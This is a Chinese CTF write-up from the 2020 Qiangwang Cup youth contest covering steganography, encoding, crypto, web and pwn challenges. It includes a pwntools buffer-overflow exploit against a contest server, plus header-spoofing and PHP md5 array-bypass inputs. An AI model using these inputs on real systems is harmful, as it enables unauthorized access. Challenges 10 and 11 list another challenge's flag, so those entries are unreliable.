在线文档:https://docs.qq.com/doc/DZkN0RFFaR1ZDdHhD    旧事拾荒,偶遇该文档,既发。

  1. 战队信息

战队名称:Pursuing_The_Wind

战队排名:12

  1. 解题情况

请粘贴战队排名截图和答题情况截图:

  1. 解题过程

2 一切皆可视

操作内容:

下载附件,得到一个Xml,找到了xml的制作来源是https://snap.berkeley.edu,也就是一个可视化编程网站,上传后查看了一下代码,并对代码进行分析。 

然后他调用了一个JavaScript的函数,作用也就是异或,然后把异或后的值与一个链表进行比较,判断输入是否正确。所以只需要将链表进行异或解密即可。

(易语言写的,主要是原来有写完的模块,并且为了答题速度~~)

如该题使用自己编写的脚本代码请详细写出,不允许截图

.版本 2

.支持库 spec

.程序集 程序集1

.子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行

调试输出 (到文本 (Section_Xor ({ 71, 77, 64, 70, 90, 86, 18, 77, 16, 98, 17, 76, 18, 126, 97, 79, 69, 126, 102, 17, 17, 69, 126, 77, 116, 66, 74, 0, 92 }, 33)))

返回 (0) ' 可以根据您的需要返回任意数值

.子程序 Section_Xor, 字节集, 公开

.参数 bin, 字节集

.参数 root, 整数型

.局部变量 i, 整数型

.计次循环首 (取字节集长度 (bin), i)

bin [i] = 位异或 (bin [i], root)

.计次循环尾 ()

返回 (bin)

flag值:

flag{w3l1C0m3_@nd_G00d_lUck!}

3 Luo_Tianyi

操作内容:

下载附件,得到一个图片,然后图片是洛天依的美照。随后我们看了一下熟悉的图片隐写工具,steghide,随手输入了一下指令(密码是逐渐试错的过程,使用了不下20多个密码最后发现竟然是luotianyi。。)得到flag.txt。

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{8dfe88db-0def-4873-9f17-f9c46bd571b6}

4 git的谜底

操作内容:

第一:我们先打开这个zip压缩包直接解压

发现一个名为enjoy.mid音频文件,打开之后发现音乐貌似还挺好听的

第二:习惯性将隐写术的题用记事本打开,第一眼看见一个花括号,然后发现flag这几个字母

第三:发现这一行英文是倒着的,然后进行提交试了一下

第四:提交上去之后发现做对了然后拿到了一血

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{misc_stegano_is_everywhere}

5 easy_pcap

操作内容:

下载附件, 得到一个流量包,然后我们用Wireshark查看了一下流量包的内容。发现了其流量包中不止一个Base64。

 其中一个可能是误导flag,此flag为:flag{This_is_faker}

仔细寻找后,

发现GET /ZmxhZyU3QjElMjdtX0g0Y0tfVjFzaTdfWTB1Ul9Db01wdXRlcl9hd2VTb21lJTdE.php

HTTP/1.1\r\n

进行Base64解码后,得到Flag,%7B和%7D是{}的Hex。

找到了真正的Flag

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome}

6 问卷调查

操作内容:

进入题目,解答完问卷后,得到flag: flag{少年智则国智,少年强则国强}

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{少年智则国智,少年强则国强}

7 moss

操作内容:

获取题目,打开moss.txt,得到一串摩尔斯密码

使用https://www.bejson.com/enc/morse/进行解密摩尔斯密码,得到flag:FLAG%u7bMOSSISVERYF4NTY%u7d,7b和7d分别是花括号的左边和右边,然后得到falg:flag{mossisveryf4nty}

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{mossisveryf4nty}

8 base64

操作内容:

下载附件,得到两个txt,一个是flag,一个是泄露的密文。

然后经过分析,了解了Base64的加密规则,觉得这个可能是存在自定义密钥,就根据Base64的加密规则,然后解出该Base64的密钥,但Base64密钥给出的不全。看到ABCDEFG什么的,就直接按顺序补齐,后面又来个12345,直接补齐到9,然后填上+/,最后使用苏紫方旋的Base64简易解密工具进行解密,得到flag。

如该题使用自己编写的脚本代码请详细写出,不允许截图

import re

ming = 'sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ123456789012233165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm'

mi = 'h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5nn'

def toBinStr(c):

bin_str = bin(ord(c))[2:]

bin_str = (8 - len(bin_str)) * '0' + bin_str

return bin_str

bin_str_arr = ''.join(list(map(toBinStr, ming)))

new_str_len = int(len(bin_str_arr) / 6) if int(

re.search(r'\.(\d+)', str(len(bin_str_arr) / 6)).groups()[0]) == 0 else len(bin_str_arr) // 6 + 1

print(bin_str_arr)

cipher_dict = {}

for i in range(new_str_len):

bin_str = bin_str_arr[i * 6: i * 6 + 6]

if len(bin_str) != 6:

bin_str += (6 - len(bin_str)) * '0'

cipher_dict[mi[i]] = int(bin_str, 2)

print(cipher_dict)

new_cipher_tuple = sorted(cipher_dict.items(), key=lambda item: item[1])

print(new_cipher_tuple)

new_cipher = ''

for (c, i) in new_cipher_tuple:

new_cipher += c

print(new_cipher, len(new_cipher))

# 输出54位,随后按照顺序补全64位

# LMNOPQRSTuvwxyzUVWXYZabcdefghijklABCDEFGHIJKmnopqrst0123456789+/

# LMNOPQRSTuvwxyzUVWXYZabcdefghiJKlABCDEFGHIJKmnopqrst0123456789+/

# LMNOPQRSTuvwxyzUVWXYZabcdefghijklABCDEFGHIJKmnopqrst0123456789+/

flag值:

flag{Base64_1s_S0_F4nta5tic}

10 easy_Crypto

操作内容:

下载附件, 得到一张图片。

题目提示,想到了猪圈密码,从网上找到猪圈密码解密,然后逐个选择,解出结果。

(上图少输入了几个,,下面补齐了一下。)

然后把下划线和花括号加上,得到结果:fpyitlyth__nsiaropiosengcgasstrg{r_e}

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome}

11 easy_Crypto

操作内容:

打开压缩包文件python文件,发现是异或之后再进行加法计算,所以进行减法后异或。

以下是易语言的代码:

如该题使用自己编写的脚本代码请详细写出,不允许截图

.版本 2

.支持库 spec

.子程序 _临时子程序

.局部变量 bin, 字节集

.局部变量 k, 整数型

.局部变量 size, 整数型

bin = { 49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85 }

size = 取字节集长度 (bin)

.计次循环首 (size, k)

bin [k] = bin [k] - k

bin [k] = 位异或 (bin [k], 86)

.计次循环尾 ()

调试输出 (到文本 (bin))

flag值:

flag{1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome}

13 加减乘除

操作内容:

下载文件后,载入ida,找到main函数并查看伪代码

其中的sub_1260函数和sub_140A需要着重分析

sub_1260()是输出了些字符串,这里输入个name不知道是做啥的,暂且记录下

sub_140A这个函数是一个数学游戏,主要作用是循环读取字符,然后最后要满足=66,字符串不能超过12,每次运算的值不能大于66

分析字符的意思,分别功能对应的字符是abcd

最下面有个值判断,然后调用了sub_1249这个函数

我们分析sub_1249

发现是一个linux的指令

那么这里应该是输出flag的函数了

那么解题方法,先解决数学游戏的问题

咱们用易语言爆破出提交的字符

(使用的易语言代码是下方的易语言代码)

下面是使用易语言爆破的数学运算代码:

.版本 2

.支持库 spec

.程序集 窗口程序集_启动窗口

.子程序 Code_Create

.局部变量 i, 整数型

.局部变量 a, 文本型

.局部变量 size, 整数型

.计次循环首 (12, size)

.计次循环首 (size, i)

.计次循环首 (i, )

a = a + “ ”

.计次循环尾 ()

a = a + “.计次循环首 (4, i [” + 到文本 (i) + “])” + #换行符

.计次循环尾 ()

.计次循环首 (size + 1, )

a = a + “ ”

.计次循环尾 ()

a = a + “.如果真(”

.计次循环首 (size, i)

a = a + “faa (i [” + 到文本 (size - i + 1) + “],”

.计次循环尾 ()

a = a + “0”

.计次循环首 (size, )

a = a + “)”

.计次循环尾 ()

a = a + “==66)” + #换行符

.计次循环首 (size + 2, )

a = a + “ ”

.计次循环尾 ()

a = a + “a=a+dwb(i[1])+dwb(i[2])+dwb(i[3])+dwb(i[4])+dwb(i[5])+dwb(i[6])+dwb(i[7])+dwb(i[8])+dwb(i[9])+dwb(i[10])+dwb(i[11])+dwb(i[12])+#hhf” + #换行符

.计次循环首 (size + 1, )

a = a + “ ”

.计次循环尾 ()

a = a + “.如果真结束” + #换行符

.计次循环首 (size, i)

.计次循环首 (-i + 1 + size, )

a = a + “ ”

.计次循环尾 ()

a = a + “.计次循环尾()” + #换行符

.计次循环尾 ()

.计次循环尾 ()

置剪辑板文本 (a)

.子程序 __启动窗口_创建完毕

.局部变量 i, 整数型, , "13"

.局部变量 a, 文本型

编辑框1.是否允许多行 = 真

Code_Create ()

编辑框1.内容 = 取剪辑板文本 ()

.计次循环首 (4, i [1])

.如果真 (faa (i [1], 0) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.如果真 (faa (i [2], faa (i [1], 0)) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.如果真 (faa (i [3], faa (i [2], faa (i [1], 0))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.如果真 (faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.如果真 (faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.如果真 (faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.计次循环首 (4, i [7])

.如果真 (faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.计次循环首 (4, i [7])

.计次循环首 (4, i [8])

.如果真 (faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.计次循环首 (4, i [7])

.计次循环首 (4, i [8])

.计次循环首 (4, i [9])

.如果真 (faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.计次循环首 (4, i [7])

.计次循环首 (4, i [8])

.计次循环首 (4, i [9])

.计次循环首 (4, i [10])

.如果真 (faa (i [10], faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.计次循环首 (4, i [7])

.计次循环首 (4, i [8])

.计次循环首 (4, i [9])

.计次循环首 (4, i [10])

.计次循环首 (4, i [11])

.如果真 (faa (i [11], faa (i [10], faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0))))))))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环首 (4, i [1])

.计次循环首 (4, i [2])

.计次循环首 (4, i [3])

.计次循环首 (4, i [4])

.计次循环首 (4, i [5])

.计次循环首 (4, i [6])

.计次循环首 (4, i [7])

.计次循环首 (4, i [8])

.计次循环首 (4, i [9])

.计次循环首 (4, i [10])

.计次循环首 (4, i [11])

.计次循环首 (4, i [12])

.如果真 (faa (i [12], faa (i [11], faa (i [10], faa (i [9], faa (i [8], faa (i [7], faa (i [6], faa (i [5], faa (i [4], faa (i [3], faa (i [2], faa (i [1], 0)))))))))))) = 66)

a = a + 到文本 (i [1]) + 到文本 (i [2]) + 到文本 (i [3]) + 到文本 (i [4]) + 到文本 (i [5]) + 到文本 (i [6]) + 到文本 (i [7]) + 到文本 (i [8]) + 到文本 (i [9]) + 到文本 (i [10]) + 到文本 (i [11]) + 到文本 (i [12]) + #换行符

.如果真结束

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

.计次循环尾 ()

调试输出 (a)

置剪辑板文本 (a)

子程序1 ()

.子程序 faa, 整数型

.参数 i, 整数型

.参数 a, 整数型

.如果真 (i = 1)

a = a + 4

.如果真结束

.如果真 (i = 2)

a = a × 7

.如果真结束

.如果真 (i = 3)

a = 到整数 (a ÷ 5)

.如果真结束

.如果真 (i = 4)

a = 3

.如果真结束

.如果真 (a > 66)

a = -9999999999999

.如果真结束

返回 (a)

.子程序 子程序1

.局部变量 j, 整数型

.局部变量 sth, 文本型, , "0"

.局部变量 i, 整数型

.局部变量 a, 整数型

.局部变量 t, 逻辑型

sth = 分割文本 (取剪辑板文本 (), #换行符, )

.计次循环首 (5, i)

a = 0

.计次循环首 (12, j)

t = 假

.如果 (t = 假)

.如果真 (取文本中间 (sth [i], j, 1) = “1”)

a = a + 4

.如果真结束

.如果真 (取文本中间 (sth [i], j, 1) = “2”)

a = a × 7

.如果真结束

.如果真 (取文本中间 (sth [i], j, 1) = “3”)

a = 到整数 (a ÷ 5)

.如果真结束

.如果真 (取文本中间 (sth [i], j, 1) = “4”)

a = 3

.如果真结束

.如果真 (a > 66)

t = 真

.如果真结束

.否则

跳出循环 ()

.如果结束

.计次循环尾 ()

调试输出 (子文本替换 (子文本替换 (子文本替换 (子文本替换 (sth [i], “1”, “b”, , , 真), “4”, “a”, , , 真), “2”, “c”, , , 真), “3”, “d”, , , 真))

.计次循环尾 ()

然后怎么执行flag的输出函数呢

回到这个判断

有一个40A0地址的值决定了执行

那么怎么更改呢

在一开始输入name的时候,有个字符串,那个地址是不是和这个很接近

那个0x4060的地址,计算偏移(A0-60),写出exp

运行exp得到flag

如该题使用自己编写的脚本代码请详细写出,不允许截图

下面是使用Python写的exp代码:

from pwn import *

from struct import *

p= remote("182.92.184.215","12345")

print(p.recv())

print(p.recv())

print(p.recv())

print(p.recv())

print(p.recv())

print(p.recv())

print(p.recv())

print(p.recv())

print(p.recv())

p.sendline(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')

print(p.recv())

''''''

print(p.recv())

print(p.recv())

p.sendline(b'b')

p.sendline(b'c')

p.sendline(b'b')

p.sendline(b'd')

p.sendline(b'c')

p.sendline(b'b')

p.sendline(b'b')

p.sendline(b'b')

p.sendline(b'b')

p.sendline(b'b')

p.sendline(b'b')

print(p.recv())

print(p.recv())

print(p.recv())

p.sendline(b"icq85111cf79bd01834d8d73c3f5dae8")

print(p.recv())

print(p.recv())

flag值:

flag{659599c68e85445c3ca6844c2ec78594}

17 签到

操作内容:

获取容器,查看题目提示得到了输入任意字符即可查看,浏览器进入,疯狂回车,得到flag。

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{023025ea-c06e-4ad8-9e26-ec5a0eba3527}

18 easy_http

操作内容:

下发环境后,进入容器里,看到提示需要我们post一下fruit参数,内容为apple。

我们使用浏览器的Hackbar插件,修改地址进行post。

然后看到需要一个Post请求,请求为vegetable,同样使用这个插件进行,进行提交。

然后发现我们需要使用127.0.0.1,我们使用XFF修改IP:X-Forwarded-For: 127.0.0.1

但是没有提示什么flag,我们尝试把提示的信息放到UA里。

最后解出Flag。

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{56b0efb2-c299-40d28fd2-606e3f2f17c2}

22 easy_php

操作内容:

获取容器,进入看到了一串PHP代码,第一步也就是需要使用两个参数绕过php的md5类型,需要两个值不同但不可以md5的数据类型,并且看到第二次和第一次的代码除了变量不同相差无几,就试了试数组绕过。

?a1[1]=001 & a2[1]=02&b1[1]=001 & b2[1]=02

成功绕过两个之后,需要输入一个时间,时间的长度不能大于4而且要和时间戳作比较,所以就想到了使用科学计数法。转换为7e10,最后提交,得到flag。

?a1[1]=001 & a2[1]=02&b1[1]=001 & b2[1]=02&time=7e10

如该题使用自己编写的脚本代码请详细写出,不允许截图

flag值:

flag{7e8e3c64-6213-45fd-a1dc-0d1771ace6dc}

2020强网杯青少赛Pursuing_The_Wind战队WRITEUP的更多相关文章

  1. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  2. 2017第二届广东省强网杯线上赛:WEB phone number (SQL注入)

    目录 解题思路 总结 解题思路 拿到题目的时候,只有一个登录界面 拿到登录界面,而且还伴随着有注册界面,联想到SQL的二次注入漏洞 尝试注册admin'#,并使用admin登录,发现登录失败,说明可能 ...

  3. 2017第二届广东省强网杯线上赛--Nonstandard

    测试文件:http://static2.ichunqiu.com/icq/resources/fileupload/CTF/echunqiu/qwb/Nonstandard_26195e1832795 ...

  4. 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)

    目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...

  5. 第二届强网杯-simplecheck

    这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...

  6. 纠错式教学法对比鼓励式教学法 -----Lily、贝乐、英孚,乐加乐、剑桥国际、优学汇、北外青少

    一.关于两种英语教学法的争议 在英语教学方面,主要有纠错式教学法(目前主要对应国内听说读写四位一体的教学法)和鼓励式教学法(目前对应国内听说为主的教学法),这两种教学方法其实是各有千秋,各有利弊的. ...

  7. 强网杯web之假的反序列化漏洞

    说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...

  8. C# 7 函数 青歌赛打分 天气预报

    函数: 数据类型--变量常量--运算符表达式--语句(顺序,分支,循环)--数组--函数 程序里的函数:能完成一个相对独立功的代码块. 数学里的函数:高度抽象. 函数四要素:函数名,输入,输出,加工 ...

  9. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  10. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

随机推荐

  1. Podman容器基础(二)

    Podman容器技术基础(二) 目录 Podman容器技术基础(二) 容器的使用 用户操作 用户配置文件 容器卷 容器的使用 运行一个容器 [root@cent1 ~]# podman pull ht ...

  2. windows下利用_popen,_wpoen创建管道进行系统命令输出数据

    转载: https://blog.csdn.net/greless/article/details/72383762 参考: http://www.linuxidc.com/Linux/2011-04 ...

  3. 京东云开发者|京东云RDS数据迁移常见场景攻略

    云时代已经来临,云上很多场景下都需要数据的迁移.备份和流转,各大云厂商也大都提供了自己的迁移工具.本文主要介绍京东云数据库为解决用户数据迁移的常见场景所提供的解决方案. 场景一:数据迁移上云 数据迁移 ...

  4. jupyter初体验

    安装: 1.若是已经安装了anaconda,则通过  jupyter notebook 命令进入: 2.若是只安了python: pip3 install --upgrade pip   对pip进行 ...

  5. 嵌入式-C语言基础:二维数组

    二维数组的每个元素都是一个一维数组,例如int arr[2][3]={{1,2,3},{4,5,6}}; 下面通过几个例子来对二维数组进行深入了解:二维数组可以看作是一个父数组,他的每个元素都是一个一 ...

  6. 顺序表代码总结——SqList

    在C++编译器下可直接运行 #include <stdio.h> #include <stdlib.h> #include <malloc.h> //顺序表存储结构 ...

  7. 【Java并发002】使用级别:线程同步与线程通信

    一.前言 本文介绍Java多线程技术,分为五个部分:多线程的两种实现方式--继承Thread类和实现Runnable接口:线程同步应用:三人吃苹果:线程同步+线程通信应用之一:生产者-消费者问题:线程 ...

  8. PHY驱动调试之 --- PHY控制器驱动(二)

    1. 前言 内核版本:linux 4.9.225,以freescale为例. 2. 概述 PHY芯片为OSI的最底层-物理层(Physical Layer),通过MII/GMII/RMII/SGMII ...

  9. 如何在kali Linux上安装VMware Tools

    作用: 1.让虚拟机和本地上的文件可以互传,直接拖动就可以实现转接 2.可在虚拟机上执行本地脚本 3.本地时钟与虚拟机同步 4........... 方法: 1.运行虚拟机 2.在上方菜单栏中点击安装 ...

  10. ubuntu 18.04安装tensorflow (CPU)

    在已经安装anaconda环境及pip之后. 添加并设置pip配置文件: mkdir ~/.pip vim ~/.pip/pip.conf pip.conf文件内容: [global] index-u ...